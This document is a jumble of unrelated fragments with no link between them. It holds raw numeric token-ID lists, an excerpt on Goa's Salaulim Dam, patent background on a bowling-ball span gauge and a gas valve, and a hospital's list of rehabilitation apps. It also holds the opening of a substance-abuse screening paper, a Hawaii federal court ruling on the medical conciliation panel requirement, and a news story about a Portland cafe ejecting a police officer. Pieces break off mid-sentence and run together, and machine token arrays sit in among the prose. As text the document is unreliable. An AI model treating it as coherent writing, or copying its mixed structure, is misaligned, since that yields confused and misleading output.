2086, 1363, 285, 625, 685, 818, 13, 7554, 562, 34732, 1016, 807, 15, 15633, 187, 6428, 187, 187, 5623, 4792, 7242, 285, 10096, 403, 7561, 7478, 347, 14414, 38058, 3237, 13, 285, 954, 952, 665, 11377, 275, 29198, 10359, 897, 513, 417, 9446, 352, 347, 247, 1895, 15, 380, 4974, 4792, 48020, 285, 29077, 4775, 9491, 13500, 313, 43335, 41, 4576, 10, 10098, 253, 27981, 2980, 13, 16404, 5383, 4053, 13, 285, 7567, 22859, 281, 17012, 313, 15803, 31249, 10, 4098, 2086, 275, 6469, 281, 4271, 13, 4796, 13, 285, 3657, 20276, 897, 13, 7242, 13, 285, 10096, 327, 7665, 285, 41566, 5835, 2190, 4292, 665, 651, 417, 5431, 7703, 1971, 15, 11977, 253, 1941, 2613, 13, 22051, 31249, 5659, 497, 9009, 275, 2087, 1786, 14, 6672, 7533, 13, 342, 253, 4388 ]

cost of the project when approved in 1971 was Rs. 9.61 crore, which, as of 2007, is estimated to cost Rs 170 crores. Construction of the project was however started in 1976, the dam was completed in 2000 and the irrigation component is under final stages of completion having achieved an irrigation potential of 9,537 ha, as of 2007. This is an excerpt from the article Salaulim Dam from the Wikipedia free encyclopedia. A list of authors is available at Wikipedia. The article Salaulim Dam at en.wikipedia.org was accessed 543 times in the last 30 days. (as of: 12/24/2013) Several mining concessions were being worked within the submergence area before it became a dam.... Siltation caused by mining in the upper reaches of the Salaulim Dam's catchment area could drastically reduce its expected 100-year... One of the main concerns for digital photographers today is asset management: how to file, find, protect, and re-use their photos. The best solutions can be found in The DAM Book, our bestselling guide to managing digital images efficiently and effectively. Anyone who shoots, scans, or stores digital photographs is practicing digital asset manageme... For example, among the few West Bengal projects that resettled their DPs, only the Budge Budge Thermal Power Plant resettled most of them within a year. In the others, they had to wait for an average of two years. In Goa, the Salaulim Dam ... India's North East is fast becoming yet another zone of natural and man-made disasters, intercommunity strife, and violent conflicts. This has lead to its accounting for the largest number of people constantly on the move in the country, and hence the analogy in the book title with Blisters on their Feet. This book is a compendium of case stud... ... Salaulim Dam reservoir is the most important dam, providing water to 54 percent of Goan population. Yet even this is under threat. In the location of the Colamb mining pit, 18 percent of the forest has disappeared causing disruption to ... DAM Survival Guide is a digital asset management book that offers a wealth of detailed information you can use to design, plan, deploy, promote and maintain a successful DAM initiative at your organization. Written in a friendly, easy-to-follow style, DAM Survival Guide is a valuable resource for those looking into digital asset management for the... Hence in the present case the new site was selected for the reconstruction of the temple on the banks of the Salaulim reservoir near Salaulim Dam where the river flows in Uttaravahirii by creating the original environmental setting. The new site ... Decisive military missions are sometimes the brainchilds of scientists and engineers instead of generals. The destruction of Germany's hydroelectric dams by the Royal Air Force in 1943 was one such decisive mission. Veteran military historian Holland (The Battle of Britain) has composed an impeccably researched work in the style of a fast-pace...This invention relates to span gauges for measuring the span between thumb and finger holes of a bowling ball and includes means for automatically compensating for the pitch angle of a pre-drilled thumb hole. When finger holes are made in a bowling ball a thumb hole is first pre-drilled and then the finger holes are measured from the nearest point on the diameter of the thumb hole. This is usually done with a gauge having a curved surface matching the curvature of the bowling ball. Usually these gauges have a fixed tongue for engaging the edge of the thumb hole to position the span gauge for measuring to the finger hole. This fixed tongue however, does not allow adjustment of the span gauge for differences in the pitch angle from one thumb hole in one ball to a different angle thumb hole in another ball. Thus, the curved edge may not mate correctly with the curvature of the ball, thereby creating an error in the measurement. This is a disadvantage because the correct measurement is extremely important to prevent misalignment of the finger holes. This misalignment can not only cause damage to the fingers but also can disturb the aim in the delivery of the ball. Further, once an error has been made in the placement of the finger holes it is difficult if not impossible to correct.You can check out his shared experience with making Imago in a video posted on our preferred 360° video platform Metta: http://www.mettavr.com/v/q4dZbBrmedQ5tdCP2 Imago left a real impression on me, this may be due to the fact of having a family member with a disability but also due to the techniques Chuck and his team, Project Hypnos, used to create the feeling of isolation and freedom in a VR space. Actually building a camera around a physical representation of a disabled person really put me in a space of sadness at points.The present invention relates to the regulation of the fuel gas supply to a domestic heating appliance by means of a flow control valve which is operated by an electric motor, modulating the flow in response to the variations in temperature of the heated area, and the valve is the dual seat lift type. FR-236742 discloses a gas flow control valve for a domestic gas boiler, wherein the flow of gas supplying the burner is regulated by means of the gradual opening of a valve hole in accordance with the temperature of the water supplied by the boiler, in three stages: minimum flow, gradual flow and maximum flow. The regulation valve has two series valve members coupled to a single valve stem, inside an internal gas chamber, which communicates the gas inlet pipe with the outlet pipe. The valve stem slides axially actuated by an electromagnet in accordance with the value of the electric current applied to the winding. The valve member for minimum flow is moved first of all to open a central through hole and it is mounted on the same stem as the high flow valve member. It is then lifted from its valve seat in a second gradual movement to let the high flow pass. For closure, each valve sealing member is forced in the opposite direction by its respective return spring. U.S. Pat. No. 4,085,921 discloses a multi-mode gas control valve for a heating appliance, such as a water heater. The valve has a single seat and the sealing member takes the form of a flat disc, the flow opening being variable depending on the separating distance of the sealing member. In accordance with the variation in the value of the water temperature measured by a sensor, the valve control unit generates an analogue signal that supplies the actuating electromagnet to maintain the valve in different operating modes, with a minimum constant gas flow, a gradual intermediate flow, and a constant maximum flow. EP-691495-A discloses a gas control valve for a heating appliance of the type with an axially sliding stem with a dual valve seat. The sealing members are in series in a single gas chamber between the inlet and outlet pipes and are provided with a respective spring mounted on the stem. The valve is operated by means of an auxiliary electromagnet with a sliding armature for opening and closing both valve passages, and a stepped motor for graduating valve opening according to an operating mode, which modulates the flow of gas supplied to the heating appliance, making use of an associated electronic control unit and various sensors.Shepherd Center speech-language pathologists and occupational therapists have compiled a list of recommend mobile apps for memory aids, home management, medical management, education and brain exercise. They have used these apps with brain injury and stroke patients as part of their inpatient and outpatient rehabilitation programs at Shepherd Center. Here are some of the most popular apps, many of which are available for both Apple and Google devices. A complete list is available in the PDF download above. For memory and planning aids, try: Fantastical 2 Evernote Penultimate TextMinder Remember the Milk For home management, try: HomeRoutines Bill Keeper Grocery List Free For medical management, try: PillBoxie My Medical Info My Fitness Pal For education, try: iStudiez Lite Paper Helper 3D Brain For brain exercises, try: iJewels Lumosity Fuzzy Memory Matrix-Game 2 Racing Penguin For more information on brain injury rehabilitation services at Shepherd Center, click here. About Shepherd Center Shepherd Center, located in Atlanta, Georgia, is a private, not-for-profit hospital specializing in medical treatment, research and rehabilitation for people with spinal cord injury, brain injury, multiple sclerosis, spine and chronic pain, and other neuromuscular conditions. Founded in 1975, Shepherd Center is ranked by U.S. News & World Report among the top 10 rehabilitation hospitals in the nation. In its more than four decades, Shepherd Center has grown from a six-bed rehabilitation unit to a world-renowned, 152-bed hospital that treats more than 935 inpatients, 541 day program patients and more than 7,300 outpatients each year.Background ========== Substance abuse and dependence are widely recognized as widespread societal problems, and most people who engage in risky substance use do not recognize it as a problem. The Substance Abuse and Mental Health Services Administration (SAMHSA) launched the Screening, Brief Intervention, and Referral to Treatment (SBIRT) grant program in 2003 to identify, reduce, and prevent problematic use, abuse, and dependence on alcohol and illicit drugs among individuals who would not typically seek treatment. Following the evidence base, SBIRT programs were implemented in general health-care settings, with the aim

[ 273, 436, 2418, 15, 187, 35034, 15, 7498, 15, 9710, 15, 3015, 721, 3677, 14, 805, 9, 66, 10, 313, 14619, 481, 3308, 13, 1078, 9745, 247, 1750, 323, 8540, 4795, 432, 247, 3739, 9810, 275, 346, 1279, 1302, 273, 436, 2418, 937, 247, 3128, 1364, 806, 7703, 2502, 560, 949, 253, 3739, 1750, 345, 31420, 5370, 15, 187, 688, 8878, 13, 436, 1302, 5867, 253, 2898, 273, 253, 353, 2648, 49, 8284, 275, 4400, 9991, 2219, 15, 16765, 362, 15, 12658, 5519, 13, 23094, 401, 15, 51, 15, 37, 15, 721, 1619, 313, 37, 15, 35034, 15, 12731, 481, 1707, 13, 253, 1302, 4767, 40101, 406, 595, 326, 253, 353, 2648, 49, 8284, 369, 19993, 13, 2581, 685, 22918, 13, 285, 3021, 475, 883, 3121, 858, 417, 4647, 281, 9991, 2219, 275, 4400, 1302, 27, 346, 510, 1302, 20097, 326, 22085, 434, 353, 2648, 49, 8284, 310, 19993, 285, 1057, 417, 4647, 281, 31423, 41373, 5231, 3982, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 3308, 13, 253, 16765, 3061, 7945, 326, 8341, 8445, 8540, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 878, 417, 16041, 342, 253, 353, 2648, 49, 8284, 1078, 12108, 271, 2250, 275, 4400, 1302, 15, 187, 510, 12254, 3177, 281, 12129, 16765, 285, 21244, 326, 697, 5877, 943, 417, 1453, 275, 436, 1083, 15, 1583, 9059, 326, 16765, 369, 3710, 281, 19993, 3374, 5001, 21612, 347, 247, 966, 2250, 13, 285, 627, 403, 642, 6425, 19993, 3533, 387, 2523, 1060, 15, 3308, 13, 12254, 7525, 13, 436, 1302, 1364, 4647, 3015, 721, 3677, 14, 805, 347, 352, 651, 320, 3732, 407, 247, 1302, 273, 253, 2418, 273, 22085, 13, 984, 352, 13806, 253, 7823, 6944, 22918, 22085, 1375, 1569, 15, 187, 38421, 8, 4154, 310, 440, 5726, 86, 10563, 15, 380, 16765, 3061, 858, 417, 2701, 253, 2898, 273, 253, 4086, 281, 958, 6127, 326, 497, 18705, 19993, 275, 3753, 15, 380, 16765, 5877, 6225, 323, 253, 13989, 326, 346, 35034, 2284, 74, 434, 353, 2648, 49, 8284, 310, 19993, 285, 1057, 417, 4647, 281, 31423, 41373, 5231, 3982, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 831, 1302, 434, 5877, 858, 417, 1551, 327, 253, 1798, 5441, 273, 326, 1083, 15, 13771, 13, 846, 10182, 1783, 13, 253, 1302, 7945, 326, 3839, 13, 253, 353, 2648, 49, 8284, 1057, 417, 40690, 2818, 253, 6454, 273, 247, 1375, 12162, 285, 943, 3021, 417, 320, 11575, 347, 247, 22918, 4809, 273, 22085, 1569, 27, 346, 6175, 275, 22085, 1375, 7829, 253, 353, 2648, 49, 5199, 310, 247, 38445, 281, 4176, 13, 352, 1057, 417, 3653, 253, 6454, 273, 247, 15091, 275, 1375, 1302, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 49921, 15, 3308, 13, 16765, 9572, 323, 253, 2087, 13989, 326, 253, 353, 2648, 49, 8284, 310, 19993, 13, 417, 22918, 13, 285, 3021, 1057, 417, 20835, 346, 783, 5161, 3646, 273, 444, 6595, 3346, 326, 3482, 943, 417, 320, 2104, 281, 5206, 247, 1027, 6454, 323, 247, 15091, 407, 12108, 275, 4400, 1302, 2581, 685, 1375, 1302, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1671, 313, 17056, 19898, 15000, 1294, 1397, 15, 362, 15, 21312, 39749, 22344, 2434, 904, 818, 1549, 401, 15, 19, 69, 898, 740, 13, 898, 1012, 313, 26, 394, 4082, 15, 15117, 5029, 187, 14067, 253, 2590, 5877, 275, 16765, 13, 12254, 9059, 326, 253, 1302, 1364, 4647, 253, 353, 2648, 49, 8284, 275, 253, 1375, 273, 22085, 984, 346, 1542, 6378, 273, 9991, 7571, 247, 4400, 1302, 310, 275, 1055, 13, 760, 1529, 1302, 273, 253, 2418, 449, 26496, 362, 15, 40874, 1720, 9724, 2434, 904, 33624, 530, 15, 52, 15, 43333, 13, 43139, 13, 10447, 322, 15, 5229, 15, 1249, 1671, 13, 11456, 418, 15, 3996, 15, 1458, 1348, 313, 40853, 10, 313, 11577, 30404, 285, 25241, 10880, 11035, 481, 12254, 7370, 907, 253, 8164, 1083, 281, 253, 6413, 2111, 434, 5877, 275, 26496, 13, 285, 21244, 326, 26496, 509, 1241, 253, 1302, 281, 4647, 253, 1375, 434, 353, 2648, 49, 8284, 15, 496, 26496, 13, 247, 16091, 13739, 23460, 247, 18531, 14544, 275, 18531, 4412, 2111, 323, 13770, 273, 3310, 15, 380, 3286, 1302, 2918, 326, 3482, 369, 22030, 432, 9745, 697, 2250, 275, 4400, 1302, 13, 984, 352, 574, 4242, 281, 16041, 342, 247, 1375, 6645, 10568, 326, 247, 5639, 13739, 2509, 2136, 275, 253, 1375, 42638, 271, 5570, 323, 2579, 273, 1232, 275, 1340, 281, 3324, 271, 2250, 275, 667, 1302, 275, 253, 1375, 15, 380, 1302, 273, 12527, 13891, 13, 533, 253, 6413, 2111, 13891, 253, 1302, 273, 12527, 285, 30938, 456, 253, 3286, 1302, 434, 3061, 15, 496, 697, 5877, 13, 253, 6413, 2111, 5544, 326, 3482, 812, 417, 25457, 275, 18531, 1375, 1302, 13, 285, 352, 651, 3021, 320, 247, 8411, 273, 253, 6980, 932, 6944, 444, 6595, 281, 1581, 253, 1072, 2847, 273, 2250, 281, 320, 3982, 275, 4400, 1302, 13, 3365, 281, 3693, 253, 2534, 281, 4176, 326, 13164, 275, 1375, 1302, 15, 187, 7910, 15711, 1056, 12254, 8, 22095, 327, 26496, 275, 40812, 275, 436, 1083, 15, 3973, 13, 253, 11440, 47065, 273, 26496, 556, 644, 17801, 15, 2594, 15725, 4255, 13, 3690, 15, 362, 15, 30638, 12072, 15637, 265, 273, 253, 2065, 6169, 2213, 21752, 13, 854, 3655, 401, 15, 19, 69, 1249, 1797, 13, 1249, 1630, 313, 26, 394, 4082, 15, 14643, 10, 313, 18799, 14890, 36797, 6995, 15, 2434, 15, 362, 15, 3905, 3493, 7961, 13, 25888, 530, 15, 52, 15, 898, 13, 655, 14, 938, 13, 14034, 322, 15, 5229, 15, 898, 3677, 13, 11107, 418, 15, 3996, 15, 19, 69, 884, 313, 15089, 1228, 313, 43507, 326, 346, 783, 47065, 273, 253, 14720, 873, 6593, 275, 3346, 26496, 3346, 310, 1024, 42326, 275, 1708, 273, 253, 6413, 2111, 434, 5877, 275, 14890, 36797, 6995, 15, 2434, 15, 362, 15, 3905, 3493, 7961, 6788, 380, 32533, 6817, 15494, 327, 14890, 36797, 281, 7525, 326, 346, 66, 4400, 1302, 778, 452, 9991, 7571, 3346, 1014, 604, 253, 1375, 7829, 651, 417, 452, 7571, 449, 854, 3655, 401, 15, 19, 69, 387, 1249, 1630, 15, 187, 21342, 13, 253, 8164, 1083, 310, 417, 19890, 281, 26496, 15, 496, 26496, 13, 253, 3482, 369, 2686, 22030, 432, 9745, 253, 1750, 275, 1375, 1302, 17965, 15, 3308, 13, 6941, 253, 3482, 281, 3324, 253, 1750, 275, 4400, 1302, 651, 9659, 352, 281, 3324, 247, 1750, 326, 369, 38932, 475, 45085, 432, 1375, 1302, 15, 380, 26496, 2111, 5544, 27, 187, 60, 56, 62, 1568, 581, 310, 22030, 432, 7355, 275, 253, 1375, 1302, 13, 344, 943, 21223, 320, 22030, 275, 253, 4400, 1302, 15, 380, 10214, 906, 651, 2794, 7134, 7097, 1411, 7815, 273, 253, 2418, 275, 3718, 273, 1110, 14047, 281, 22073, 253, 9991, 7571, 273, 253, 4400, 7829, 15, 733, 369, 326, 3284, 273, 11081, 326, 444, 6595, 416, 15, 2434, 15, 362, 15, 6270, 81, 7232, 369, 4158, 281, 13469, 15, 187, 23829, 530, 15, 52, 15, 387, 43139, 13, 10447, 322, 15, 5229, 15, 1249, 1671, 15, 3308, 13, 253, 1774, 8624, 11392, 275, 26496, 310, 326, 247, 3128, 778, 417, 3324, 247, 4176, 275, 4400, 1302, 604, 352, 310, 22030, 432, 9745, 253, 1072, 1750, 275, 1375, 1302, 15, 2064, 310, 417, 253, 4112, 1060, 15, 380, 353, 2648, 49, 8284, 3365, 35979, 327, 12601, 253, 7143, 281, 1873, 247, 1750, 323, 3739, 41373, 342, 253, 353, 2648, 49, 1078, 9745, 271, 2250, 275, 1375, 1302, 15, 380, 1375, 2250, 323, 41373, 310, 3021, 417, 22030, 407, 253, 353, 2648, 49, 8284, 28, 387, 954, 13, 352, 310, 13444, 13910, 6064, 407, 253, 353, 2648, 49, 15, 3308, 13, 247, 4560, 326, 253, 353, 2648, 49, 8284, 310, 275, 40812, 281, 3916, 3982, 275, 4400, 1302, 1057, 417, 2085, 12601, 342, 247, 1750, 326, 651, 5010, 417, 2226, 275, 1375, 1302, 15, 13771, 13, 352, 28251, 247, 1027, 5199, 323, 253, 6064, 273, 6043, 434, 3916, 15, 3308, 13, 281, 253, 6070, 326, 26496, 310, 1335, 1175, 1569, 13, 697, 5441, 403, 275, 40812, 281, 253, 1246, 1083, 15, 187, 1552, 5877, 310, 5185, 342, 253, 6452, 275, 16765, 326, 253, 353, 2648, 49, 8284, 310, 19993, 285, 417, 22918, 13, 984, 352, 1057, 417, 346, 78, 727, 1365, 544, 66, 887, 62, 253, 1894, 390, 906, 273, 247, 15561, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1671, 15, 1707, 13, 436, 1302, 5544, 326, 253, 8284, 346, 18566, 417, 2818, 253, 16108, 273, 253, 4676, 8, 6887, 762, 1375, 1569, 13, 285, 3346, 35979, 642, 3081, 1332, 323, 4676, 275, 1375, 1302, 281, 452, 616, 2219, 345, 12817, 21633, 6857, 449, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 496, 1097, 16765, 285, 253, 8164, 1083, 13, 253, 353, 2648, 49, 8284, 556, 253, 1055, 273, 31238, 253, 1232, 407, 534, 247, 1750, 778, 320, 3982, 275, 1375, 1302, 15, 19594, 13037, 323, 253, 353, 2648, 49, 310, 48388, 275, 6774, 15561, 13, 285, 253, 8284, 1057, 417, 6990, 253, 2130, 24371, 4543, 31423, 667, 6774, 2250, 15, 10022, 13, 253, 8284, 556, 642, 3486, 327, 253, 12553, 6454, 273, 253, 15561, 15, 187, 510, 1302, 3103, 20097, 326, 253, 353, 2648, 49, 8284, 310, 19993, 2581, 685, 22918, 13, 285, 1057, 417, 4647, 281, 2219, 4724, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 15, 10022, 13, 12254, 8, 9849, 621, 281, 40703, 253, 25868, 285, 253, 10547, 14, 34200, 403, 25387, 16577, 15, 187, 187, 5707, 32200, 187, 2214, 253, 4606, 4767, 1840, 13, 253, 1302, 25387, 9785, 12254, 8, 9849, 621, 281, 40703, 253, 25868, 285, 253, 10547, 14, 34200, 15, 187, 1433, 4110, 8717, 40169, 15, 187, 510, 4410, 708, 5418, 45013, 310, 642, 1659, 323, 247, 637, 275, 4797, 15, 187, 187, 24195, 12743, 5490, 13198, 14065, 369, 2546, 281, 3553, 253, 30622, 8574, 8979, 275, 20956, 13, 473, 250, 904, 1390, 1770, 13, 247, 30602, 2118, 533, 417, 17965, 24666, 387, 253, 7626, 6036, 13, 247, 25660, 2183, 11024, 19537, 15, 681, 15, 187, 187, 40053, 14065, 13, 5540, 13, 247, 374, 14, 2913, 18425, 273, 253, 3490, 13, 5966, 253, 4410, 708, 5418, 42107, 860, 327, 2552, 1283, 285, 8686, 247, 5500, 273, 8574, 1078, 247, 7731, 13781, 779, 285, 753, 703, 14109, 521, 6031, 15, 187, 187, 2773, 434, 672, 2516, 418, 2134, 90, 13, 581, 273, 253, 820, 14, 24172, 273, 253, 26708, 7303, 8979, 13, 13781, 253, 5440, 285, 2546, 779, 281, 3553, 15, 187, 187, 40053, 14065, 1669, 4745, 15, 733, 369, 253, 806, 673, 1633, 751, 436, 556, 4592, 281, 779, 275, 521, 7457, 14, 2913, 1569, 10473, 5249, 13, 344, 2183, 380, 15427, 757, 11547, 15, 187, 187, 3, 510, 5053, 326, 309, 1849, 644, 19301, 562, 273, 1078, 452, 644, 5053, 751, 253, 10258, 324, 531, 14235, 937, 344, 753, 15, 346, 1394, 1472, 627, 281, 4017, 731, 13, 533, 327, 253, 643, 1133, 597, 1053, 626, 871, 752, 326, 8687, 15, 16688, 46582, 310, 629, 273, 352, 449, 187, 187, 39527, 422, 6393, 39979, 13, 247, 35027, 323, 253, 20956, 9651, 4487, 13, 7943, 253, 7119, 347, 247, 346, 8501, 413, 3, 533, 4879, 253, 2846, 434, 10800, 12415, 875, 253, 3513, 285, 690, 2758, 273, 253, 3114, 15, 187, 187, 3, 1552, 310, 20956, 937, 39979, 2183, 11024, 19537, 15, 681, 15, 346, 1231, 452, 644, 10620, 342, 326, 323, 1107, 285, 1107, 285, 1107, 15, 733, 434, 247, 1077, 12773, 2846, 15, 844, 452, 34822, 1346, 1060, 285, 359, 2968, 342, 731, 327, 247, 3963, 3720, 449, 187, 187, 510, 8574, 8979, 45465, 20783, 4292, 285, 18158, 13, 253, 11547, 2361, 13, 285, 39979, 753, 352, 310, 1929, 281, 320, 346, 1439, 11453, 3, 281, 6251, 665, 789, 253, 2170, 15, 187, 187, 3, 10342, 6251, 651, 871, 326, 436, 310, 417, 247, 8574, 8979, 326, 434, 11453, 281, 3513, 937, 703, 753, 15, 346, 1147, 434, 9090, 11081, 281, 3513, 15, 754, 2987, 326, 2170, 285, 344, 476, 626, 564, 275, 323, 247, 5500, 273, 8574, 1969, 352, 434, 417, 4344, 449, 187, 187, 510 ]

of this State. Haw.Rev.Stat. § 671-12(a) (1988). Thus, before bringing a claim for damages resulting from a medical tort in "any court of this State," a party must first seek redress through the medical claim conciliation panel. In 1995, this court analyzed the application of the MCCP requirement in federal diversity cases. Hum v. Dericks, 162 F.R.D. 628 (D.Haw.1995). There, the court stated unequivocally that the MCCP requirement was procedural, rather than substantive, and thus *1176 did not apply to diversity cases in federal court: "The court concludes that Hawaii's MCCP requirement is procedural and does not apply to preclude malpractice actions brought in federal court on the basis of diversity jurisdiction." Hum, 162 F.R.D. at 637. Thus, the Hum decision concluded that plaintiffs seeking damages in federal court on the basis of diversity jurisdiction need not comply with the MCCP requirement before filing an action in federal court. The Defendants attempt to distinguish Hum and contend that its holding should not control in this case. They argue that Hum was limited to procedural issues regarding certification as a class action, and there are no equivalent procedural questions at issue here. Thus, Defendants conclude, this court must apply § 671-12 as it would be applied by a court of the State of Hawaii, because it reflects the policies underlying substantive Hawaii state law. Defendants' argument is unpersuasive. The Hum decision did not limit the application of the rule to fact patterns that were predominantly procedural in nature. The Hum holding stood for the proposition that "Hawaii's MCCP requirement is procedural and does not apply to preclude malpractice actions brought in federal court on the basis of diversity jurisdiction." Hum, 162 F.R.D. at 637. This court's holding did not rest on the particular facts of that case. Rather, after careful analysis, the court concluded that generally, the MCCP requirement does not materially affect the outcome of a state proceeding and should thus not be viewed as a substantive aspect of Hawaii law: "While in Hawaii state courts the MCCP procedure is a prerequisite to suit, it does not determine the outcome of a lawsuit in state court." Hum, 162 F.R.D. at 636. Thus, Hum stands for the general proposition that the MCCP requirement is procedural, not substantive, and thus does not violate "the core policy of Erie... that plaintiff should not be able to choose a different outcome for a lawsuit by filing in federal court rather than state court." Hum, 162 F.R.D. at 635 (quoting Olympic Sports Prods. v. Universal Athletic Sales Co., 760 F.2d 910, 913 (9th Cir.1985)). Despite the clear holding in Hum, Defendants argue that the court must apply the MCCP requirement in the state of Hawaii because "for purposes of diversity jurisdiction a federal court is in effect, only another court of the State." Woods v. Interstate Realty Co., 337 U.S. 535, 538, 69 S.Ct. 1235, 93 L.Ed. 1524 (1949) (internal citations and quotation marks omitted). Defendants analogize the instant case to the Supreme Court's holding in Woods, and contend that Woods compels the court to apply the state's MCCP requirement. In Woods, a Tennessee corporation sued a Mississippi resident in Mississippi District Court for breach of contract. The district court held that plaintiff was barred from bringing its action in federal court, because it had failed to comply with a state statute requiring that a foreign corporation doing business in the state designate an agent for service of process in order to bring an action in any court in the state. The court of appeals reversed, but the Supreme Court reversed the court of appeals and reinstated the district court's decision. In its holding, the Supreme Court explained that plaintiff could not sue in Mississippi state court, and it would thus be a violation of the principals underlying Erie to allow the same cause of action to be brought in federal court, simply to avoid the bar to suit that existed in state court. Two considerations make Defendants' reliance on Woods inapplicable in this case. First, the continuing vitality of Woods has been questioned. See Stock West, Inc. v. Confederated Tribes of the Colville Reservation, 873 F.2d 1221, 1227 (9th Cir.1989) (citing Iowa Mutual Ins. Co. v. LaPlante, 480 U.S. 9, 19-20, 107 S.Ct. 971, 94 L.Ed.2d 10 (1987)) (noting that "the vitality of the reasoning set forth in... Woods... is now dubious in light of the Supreme Court's holding in Iowa Mutual Ins. Co. v. LaPlante"). The Ninth Circuit relied on Iowa Mutual to conclude that "a federal court may have diversity jurisdiction... even if the state courts would not have jurisdiction." 873 F.2d at 1227. Moreover, the instant case is not analogous to Woods. In Woods, the plaintiff was actually barred from bringing the claim in state court altogether. Thus, allowing the plaintiff to bring the claim in federal court would permit it to bring a claim that was precluded *1177 from state court. The Woods Court explained: [W]here one is barred from recovery in the state court, he should likewise be barred in the federal court. The contrary result would create discriminations against citizens of the State in favor of those authorized to invoke the diversity jurisdiction of the federal courts. It was that element of discrimination that Erie R. Co. v. Tompkins was designed to eliminate. 337 U.S. at 538, 69 S.Ct. 1235. Thus, the important principal reflected in Woods is that a party may not bring a suit in federal court if it is barred from bringing the same claim in state court. That is not the situation here. The MCCP requirement simply imposes on Plaintiffs the duty to file a claim for medical malpractice with the MCCP before bringing an action in state court. The state action for malpractice is thus not barred by the MCCP requirement; at most, it is delayed pending resolution by the MCCP. Thus, a finding that the MCCP requirement is inapplicable to claims brought in federal court does not provide Plaintiffs with a claim that would otherwise not exist in state court. Rather, it specifies a different procedure for the resolution of Plaintiff's claims. Thus, to the extent that Woods is still good law, its facts are inapplicable to the present case. This holding is consistent with the conclusion in Hum that the MCCP requirement is procedural and not substantive, because it does not "materially [affect] the character or result of a litigation." Hum, 162 F.R.D. at 635. There, this court explained that the requirement "does not affect the merits of the parties' positions under state law, and... imposes no additional method for parties in state court to have their cases conclusively adjudicated." 162 F.R.D. at 637. In both Hum and the instant case, the MCCP requirement has the effect of specifying the process by which a claim may be brought in state court. Evidence gathered for the MCCP is inadmissible in subsequent litigation, and the requirement does not alter the available remedies nor preclude any subsequent action. Accordingly, the requirement has no impact on the ultimate outcome of the litigation. The court therefore concludes that the MCCP requirement is procedural rather than substantive, and does not apply to cases filed in federal court on the basis of diversity jurisdiction. Accordingly, Defendants' Motions to Dismiss the Complaint and the Cross-Claim are DENIED. CONCLUSION For the reasons stated above, the court DENIES Defendants' Motions to Dismiss the Complaint and the Cross-Claim. IT IS SO ORDERED. The Red & Black Cafe is no place for a man in blue. Police Officer James Crooker was asked to leave the vegan coffee shop in Portland, Ore., last month, a discriminatory move but not altogether uncommon at the java joint, a detective told FoxNews.com. Crooker, 36, a 2-year veteran of the force, entered the Red & Black Café on May 18 and bought a cup of coffee before a customer approached him and said she appreciated his efforts. That's when John Langley, one of the co-owners of the collectively managed shop, approached the cop and asked him to leave. Crooker left immediately. It was the first time something like this has happened to him in his nine-year law enforcement career, he told The Oregonian newspaper. "The places that I've been kicked out of before have been places like the methadone clinic," he said. "You're there to protect them, but on the other hand they don't know what that involves. Being gracious is part of it." Detective Mary Wheat, a spokeswoman for the Portland Police Department, characterized the incident as a "fluke" but noted the city's ongoing tension between the police and some members of the community. "This is Portland," Wheat told FoxNews.com. "We have been dealing with that for years and years and years. It's a very liberal city. We have anarchists here and we deal with them on a regular basis." The coffee shop attracts homeless individuals and activists, the newspaper reported, and Wheat said it is known to be "not friendly" to officers who work the area. "Most officers would know that this is not a coffee shop that's friendly to police," she said. "It's obviously discrimination to police. He works that area and he can't go in for a cup of coffee -- it's not fair." The

[ 13, 894, 80, 13, 246, 409, 15801, 2866, 38499, 13724, 368, 2686, 452, 794, 2, 187, 187, 4125, 310, 253, 673, 281, 1056, 2119, 326, 368, 452, 247, 3331, 390, 767, 665, 588, 320, 4882, 616, 7935, 689, 253, 14538, 15, 1422, 476, 1132, 9320, 3440, 15, 1422, 476, 755, 2366, 281, 25308, 15, 1422, 476, 1014, 816, 1132, 690, 273, 253, 7437, 326, 368, 11346, 432, 37970, 390, 3961, 436, 807, 15, 3954, 310, 253, 673, 281, 1007, 715, 4744, 473, 457, 38105, 457, 84, 401, 3209, 8647, 390, 4744, 9002, 457, 84, 9384, 38008, 8647, 390, 667, 273, 253, 18660, 273, 1270, 9091, 281, 1132, 285, 452, 794, 326, 2826, 689, 253, 14538, 2607, 15, 1422, 457, 620, 3037, 247, 2257, 1223, 2970, 281, 2525, 690, 3965, 14331, 20230, 2, 3954, 310, 253, 673, 281, 8968, 326, 4882, 634, 7935, 310, 417, 816, 247, 36872, 13, 352, 310, 247, 629, 273, 634, 1495, 2, 733, 2789, 368, 8580, 285, 1928, 1175, 670, 253, 1841, 368, 476, 513, 326, 368, 1620, 3264, 15, 187, 187, 48082, 253, 2143, 807, 2266, 15, 733, 588, 1056, 4983, 1735, 2143, 807, 313, 263, 5046, 1014, 436, 14538, 457, 84, 3440, 2086, 10, 247, 2644, 2257, 6927, 15, 9873, 1831, 366, 26231, 2322, 187, 187, 52, 10663, 2025, 418, 2185, 19433, 187, 187, 8903, 44896, 12098, 275, 1457, 12123, 13, 247, 308, 2259, 89, 5901, 2567, 13, 310, 1077, 9979, 273, 697, 11847, 285, 10800, 1329, 275, 12976, 11891, 273, 5988, 2923, 275, 11393, 7888, 949, 253, 26048, 35028, 6807, 15, 187, 187, 510, 3419, 44896, 15952, 13, 275, 17385, 342, 581, 273, 253, 4156, 7038, 275, 2830, 486, 3085, 6833, 13, 11835, 43040, 13, 556, 4197, 253, 1533, 457, 84, 806, 14863, 14, 2052, 9698, 2830, 486, 3085, 275, 17177, 18420, 326, 310, 1024, 2326, 327, 1142, 21976, 2439, 1457, 12123, 15, 3419, 44896, 2789, 247, 1534, 23672, 1016, 807, 281, 26048, 35028, 13, 247, 19489, 8109, 1821, 285, 2255, 3811, 342, 6561, 5988, 2923, 15, 187, 187, 3175, 13792, 4966, 20753, 36, 947, 401, 15289, 6570, 3481, 22428, 1503, 38, 